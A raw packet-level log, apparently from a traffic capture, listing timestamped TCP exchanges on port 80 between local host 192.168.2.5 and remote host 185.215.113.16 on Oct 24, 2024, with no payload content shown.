Oct 24, 2024 19:29:24.316349983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.316369057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316402912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316404104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.316450119 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390002012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390063047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390100002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390134096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390161037 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390170097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390193939 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390409946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390461922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390474081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390516996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390556097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390592098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390611887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390629053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390647888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390665054 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390719891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390719891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390757084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390790939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390841007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390841961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390877008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390888929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.390927076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390963078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.390997887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391011953 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391031981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391048908 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391073942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391107082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391143084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391180992 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391190052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391205072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391227007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391273022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391278028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391340971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391386032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391421080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391436100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391453981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391470909 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391489983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391527891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391547918 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391580105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391637087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391644001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391671896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391705990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391738892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391757011 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391772985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391801119 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391810894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391860008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.391865969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391920090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391972065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.391976118 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392007113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392040968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392052889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392076969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392112017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392146111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392152071 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392179966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392194033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392214060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392244101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392277956 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392290115 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392313957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392323017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392349958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392385006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392417908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392431021 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392453909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392462015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392488003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392522097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392553091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392554998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392589092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392599106 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392618895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392653942 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392687082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392703056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392738104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392806053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392839909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392874002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392891884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.392927885 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392966032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.392999887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393023014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393042088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393059969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393101931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393136024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393184900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393214941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393218994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393237114 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393273115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393306971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393342018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393357992 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393378019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393397093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393429995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393465042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393516064 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393516064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393553019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393567085 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393588066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393623114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393671036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393675089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393711090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393724918 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393745899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393779039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393812895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393836975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393846989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393860102 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393882036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393915892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393929005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.393953085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.393985987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394021034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394032955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.394054890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394068956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.394093037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394125938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394160032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394172907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.394193888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394210100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.394229889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394264936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.394313097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.400719881 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.433799982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.433856010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.433864117 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.433892012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.433939934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.433943987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434041977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434106112 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.434113026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434149027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434181929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434196949 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.434216976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434251070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434264898 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.434284925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434318066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434329033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.434354067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434390068 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434425116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.434437037 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.434468985 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.438779116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.506928921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.506984949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507019997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507051945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507086992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507097006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507097006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507118940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507153988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507183075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507196903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507222891 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507234097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507272959 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507333040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507342100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507392883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507426023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507441044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507462025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507512093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507545948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507549047 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507579088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507611990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507626057 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507668972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507678032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507729053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507760048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507792950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507812023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507841110 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507846117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507900953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507934093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.507956028 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.507970095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508002996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508013964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508038044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508086920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508133888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508158922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508192062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508224010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508245945 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508259058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508270025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508294106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508327007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508359909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508374929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508394003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508410931 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508426905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508460999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508507967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508512020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508555889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508595943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508646011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508678913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508693933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508713007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508744955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508794069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508795023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508829117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508852005 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508879900 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508912086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508929014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.508965969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.508999109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509022951 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509047985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509077072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509094954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509128094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509176970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509183884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509208918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509255886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509259939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509295940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509330034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509362936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509368896 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509396076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509406090 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509426117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509459019 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509465933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509509087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509541035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509573936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509582996 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509603024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509618044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509656906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509690046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509732008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509738922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509773016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509782076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509803057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509852886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509886026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509896040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509915113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.509921074 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.509968996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510004044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510036945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510071993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510071993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510072947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510123014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510155916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510170937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510185957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510230064 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510234118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510284901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510317087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510341883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510350943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510385036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510395050 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510435104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510467052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510483027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510500908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510534048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510545969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510566950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510596037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510613918 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510629892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510665894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510674953 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510699034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510731936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510745049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510761023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510793924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.510804892 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.510828018 CEST	80	49725	185.215.113.16	192.168.2.5
